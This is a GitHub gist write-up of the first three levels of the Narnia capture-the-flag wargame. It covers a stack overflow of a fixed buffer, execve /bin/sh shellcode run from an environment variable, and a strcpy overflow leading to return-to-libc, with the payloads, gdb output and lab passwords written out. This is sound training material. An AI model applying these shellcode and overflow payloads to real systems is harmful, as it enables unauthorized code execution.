Skip to content

Instantly share code, notes, and snippets.

@niklasad1
Created January 24, 2017 21:50
Show Gist options
  • Save niklasad1/d94df7d047c0e95a4c4aa90c334b376e to your computer and use it in GitHub Desktop.
Save niklasad1/d94df7d047c0e95a4c4aa90c334b376e to your computer and use it in GitHub Desktop.

Level 0

ssh into the machine by

ssh [email protected]
pwd: narnia0

check narnia0.c and it's obviously vulnerable to a buffer overflow i.e. scanf read 24 chars into a 20 char buffer. Thus we need to enter 20 random chars + 0xdeadbeef.

But first check the architechture i.e. how the byte is read by the processor.

$ python -c "import sys;print sys.byteorder"
little

Test that the variable changes by

$ python -c 'print "C"*24' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCCCCCC
val: 0x43434343
WAY OFF!!!!

Test with the correct payload i.e. hexstring in reverse 0xefbeadde

python -c 'print "C"*20 + "\xef\xbe\xad\xde"' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbee

We managed to exploit the program but terminates prematurly so now we can't use the exploit. This is quite tricky and took me some time. In bash you can open a subshell by entering the command in paranthesis:

(echo -e 'AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde\xaf';cat)

It prints out the payload to stdout and then executes cat but because cat need an arguments it creates an "interactive shell" for us.

To conclude this level

(python -c 'print "C"*20 + "\xef\xbe\xad\xde"';cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCCᆳ�
val: 0xdeadbeef
$ whoami
narnia1
$ cat /etc/narnia_pass/narnia1
efeidiedae

The password is efeidiedae

Level 1

ssh into the machine by

ssh [email protected]
pwd: efeidiedae

The vulnerable program:

#include <stdio.h>

int main(){
	int (*ret)();

	if(getenv("EGG")==NULL){    
		printf("Give me something to execute at the env-variable EGG\n");
		exit(1);
	}

	printf("Trying to execute EGG!\n");
	ret = getenv("EGG");
	ret();

	return 0;
}

Some minor explaination of the program:

  • int (*ret)() - is a function pointer
  • getenv("EGG") - get environment variable EGG return char *

Test run of the program

$ ./narnia1
Give me something to execute at the env-variable EGG

Thus the environment variable "EGG" is not found so we need to modify it to something smart for example shellcode for "/bin/sh". Get the shellcode from some site e.g. http://shell-storm.org/shellcode/files/shellcode-585.php.

$ export EGG=$(python -c
'print"\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"')
# test so it's set
$ echo $EGG
�
 [1�1�1Ұ
        �����/bin/sh
$ ./narnia1
$ whoami 
narnia2
$ cat /etc/narnia_pass/narnia2
nairiepecu

The password is nairiepecu

We can also play a little bit with gdb to understand what is happening

$ gdb ./narnia1 -q 
$ disassemble main
# add breakpoint before getenv() and after getenv()
$ r
$ print $esp      
$1 = (void *) 0xffffd580
$ print $ebp   
$2 = (void *) 0xffffd5a8
# we know how big the stack is i.e. 0xffffd580 - 0xffffd5a8
$ si
0xffffd887 in ?? ()
$ x/wx 0xffffd887
0xffffd887: 0x315b0beb
# OW, it's the shellcode :)
# print the entire shellcode
$ x/25bx 0xffffd887
0xffffd887: 0xeb  0x0b  0x5b  0x31  0xc0  0x31  0xc9  0x31
0xffffd88f: 0xd2  0xb0  0x0b  0xcd  0x80  0xe8  0xf0  0xff
0xffffd897: 0xff  0xff  0x2f  0x62  0x69  0x6e  0x2f  0x73
0xffffd89f: 0x68

Level 2

ssh [email protected]
pwd: nairiepecu

Vulnerable Code:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
  char buf[128];

  if(argc == 1){
    printf("Usage: %s argument\n", argv[0]);
    exit(1);
  }
  strcpy(buf,argv[1]);
  printf("%s", buf);

  return 0;
}

strcpy is vulnerable for a buffer overflow thus the idea is the enter some shellcode to be executed.

Test the program as follows:

$ ./narnia2 `python -c 'print "C"*128'`

To achieve a buffer overflow we need to enter 128 + 4 + 4 + 4 + 4 = 144 chars and to write over the EIP and return address.

  • 4 bytes return address
  • 4 bytes EIP (next instruction pointer)
  • 4 bytes argv
  • 4 bytes argc
  • 128 bytes buffer
# nop sled ( 136 chars) + address to return to
$ ./narnia2 `python -c 'print "\x90"*136 + "\xff\xff\xff\xff"'`
Illegal instruction
# lets try it with gdb to findout if the eip is 0xffffffff
$ gdb ./narnia2
(gdb) r `python -c 'print "\x90"*140 + "\xff\xff\xff\xff"'` 
Program received signal SIGSEGV, Segmentation fault.
0xffffffff in ?? ()
# good, now find the address to "system" a.k.a libc
(gdb) p &system
$1 = (<text variable, no debug info> *) 0xf7e62e70 <system>
# reverse the address
# fix env variable SHELL=/bin/bash and find address
(gdb) x/200s $esp
0xffffdeda: "SHELL=/bin/sh"
# 0xf7e55f50  - exit,   0xffffdeda + 6 = 0xffffdee0
# EIP = 0x7fe62e70    RET_ADDR=0xf7e55f50,  ARG=0xffffdee0
`python -c 'print "\x90"*136 + "\x70\x2e\xe6\xf7" + "\x50\x5f\xe5\xf7" + "\xe0\xde\xff\xff"'`
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment